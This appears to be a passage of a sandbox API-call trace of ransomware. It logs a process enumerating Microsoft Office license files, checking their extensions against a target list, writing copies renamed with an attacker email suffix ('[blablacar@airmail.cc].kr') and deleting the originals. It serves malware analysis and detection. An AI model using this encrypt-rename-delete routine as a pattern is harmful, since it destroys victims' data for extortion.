-1 [0214.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.503] lstrlenW (lpString=".zip") returned 4 [0214.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString=".rar") returned 4 [0214.503] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString=".bz2") returned 4 [0214.503] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString=".7z") returned 3 [0214.503] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.504] lstrlenW (lpString=".dbf") returned 4 [0214.504] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.504] lstrlenW (lpString=".1cd") returned 4 [0214.504] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.504] lstrlenW (lpString=".jpg") returned 4 [0214.504] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.504] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.504] lstrlenW (lpString="ProfessionalR_OEM_Perp-pl.xrm-ms") returned 32 [0214.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.505] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10663) returned 1 [0214.505] CloseHandle (hObject=0x478) returned 1 [0214.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms")) returned 0x220 [0214.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.505] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.505] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.747] GetLastError () returned 0x0 [0214.747] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x29a7, lpOverlapped=0x0) returned 1 [0214.749] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0214.750] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.750] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x114, lpOverlapped=0x0) returned 1 [0214.750] SetEndOfFile (hFile=0x3bc) returned 1 [0214.751] CloseHandle (hObject=0x3bc) returned 1 [0214.751] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.751] SetEndOfFile (hFile=0x478) returned 1 [0214.754] CloseHandle (hObject=0x478) returned 1 [0214.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms")) returned 1 [0214.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.755] lstrlenW (lpString=".doc") returned 4 [0214.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString=".docx") returned 5 [0214.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.755] lstrlenW (lpString=".pdf") returned 4 [0214.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString=".xls") returned 4 [0214.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString=".xlsx") returned 5 [0214.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.755] lstrlenW (lpString=".ppt") returned 4 [0214.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.755] lstrlenW (lpString=".zip") returned 4 [0214.755] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString=".rar") returned 4 [0214.755] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString=".bz2") returned 4 [0214.755] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.755] lstrlenW (lpString=".7z") returned 3 [0214.755] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.755] lstrlenW (lpString=".dbf") returned 4 [0214.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.756] lstrlenW (lpString=".1cd") returned 4 [0214.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.756] lstrlenW (lpString=".jpg") returned 4 [0214.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.756] lstrlenW (lpString=".doc") returned 4 [0214.756] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString=".docx") returned 5 [0214.756] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.756] lstrlenW (lpString=".pdf") returned 4 [0214.756] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString=".xls") returned 4 [0214.756] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString=".xlsx") returned 5 [0214.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.756] lstrlenW (lpString=".ppt") returned 4 [0214.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.756] lstrlenW (lpString=".zip") returned 4 [0214.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.756] lstrlenW (lpString=".rar") returned 4 [0214.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.757] lstrlenW (lpString=".bz2") returned 4 [0214.757] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.757] lstrlenW (lpString=".7z") returned 3 [0214.757] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.757] lstrlenW (lpString=".dbf") returned 4 [0214.757] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.757] lstrlenW (lpString=".1cd") returned 4 [0214.757] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms") returned 82 [0214.757] lstrlenW (lpString=".jpg") returned 4 [0214.757] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.757] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.757] lstrlenW (lpString="ProfessionalR_Retail-ul-phn.xrm-ms") returned 34 [0214.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.758] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19954) returned 1 [0214.758] CloseHandle (hObject=0x478) returned 1 [0214.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms")) returned 0x220 [0214.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.758] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.758] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.759] GetLastError () returned 0x0 [0214.759] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4df2, lpOverlapped=0x0) returned 1 [0214.761] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0214.763] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.763] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0214.763] SetEndOfFile (hFile=0x3bc) returned 1 [0214.763] CloseHandle (hObject=0x3bc) returned 1 [0214.763] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.763] SetEndOfFile (hFile=0x478) returned 1 [0214.766] CloseHandle (hObject=0x478) returned 1 [0214.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms")) returned 1 [0214.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.767] lstrlenW (lpString=".doc") returned 4 [0214.767] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.767] lstrlenW (lpString=".docx") returned 5 [0214.767] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.767] lstrlenW (lpString=".pdf") returned 4 [0214.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.767] lstrlenW (lpString=".xls") returned 4 [0214.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString=".xlsx") returned 5 [0214.768] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.768] lstrlenW (lpString=".ppt") returned 4 [0214.768] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.768] lstrlenW (lpString=".zip") returned 4 [0214.768] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString=".rar") returned 4 [0214.768] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString=".bz2") returned 4 [0214.768] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString=".7z") returned 3 [0214.768] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.768] lstrlenW (lpString=".dbf") returned 4 [0214.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.768] lstrlenW (lpString=".1cd") returned 4 [0214.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.768] lstrlenW (lpString=".jpg") returned 4 [0214.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.768] lstrlenW (lpString=".doc") returned 4 [0214.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString=".docx") returned 5 [0214.768] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.768] lstrlenW (lpString=".pdf") returned 4 [0214.768] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.768] lstrlenW (lpString=".xls") returned 4 [0214.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString=".xlsx") returned 5 [0214.769] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.769] lstrlenW (lpString=".ppt") returned 4 [0214.769] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.769] lstrlenW (lpString=".zip") returned 4 [0214.769] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString=".rar") returned 4 [0214.769] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString=".bz2") returned 4 [0214.769] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString=".7z") returned 3 [0214.769] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.769] lstrlenW (lpString=".dbf") returned 4 [0214.769] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.769] lstrlenW (lpString=".1cd") returned 4 [0214.769] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms") returned 84 [0214.769] lstrlenW (lpString=".jpg") returned 4 [0214.769] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.769] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.769] lstrlenW (lpString="ProfessionalR_Trial-pl.xrm-ms") returned 29 [0214.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.770] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11167) returned 1 [0214.770] CloseHandle (hObject=0x478) returned 1 [0214.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms")) returned 0x220 [0214.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.771] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.771] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.772] GetLastError () returned 0x0 [0214.772] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0214.774] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0214.775] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.775] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0214.775] SetEndOfFile (hFile=0x3bc) returned 1 [0214.775] CloseHandle (hObject=0x3bc) returned 1 [0214.775] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.775] SetEndOfFile (hFile=0x478) returned 1 [0214.779] CloseHandle (hObject=0x478) returned 1 [0214.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms")) returned 1 [0214.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.781] lstrlenW (lpString=".doc") returned 4 [0214.781] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString=".docx") returned 5 [0214.781] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.781] lstrlenW (lpString=".pdf") returned 4 [0214.781] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString=".xls") returned 4 [0214.781] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString=".xlsx") returned 5 [0214.781] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.781] lstrlenW (lpString=".ppt") returned 4 [0214.781] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.781] lstrlenW (lpString=".zip") returned 4 [0214.781] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString=".rar") returned 4 [0214.781] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString=".bz2") returned 4 [0214.781] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.781] lstrlenW (lpString=".7z") returned 3 [0214.781] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.782] lstrlenW (lpString=".dbf") returned 4 [0214.782] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.782] lstrlenW (lpString=".1cd") returned 4 [0214.782] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.782] lstrlenW (lpString=".jpg") returned 4 [0214.782] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.782] lstrlenW (lpString=".doc") returned 4 [0214.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString=".docx") returned 5 [0214.782] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 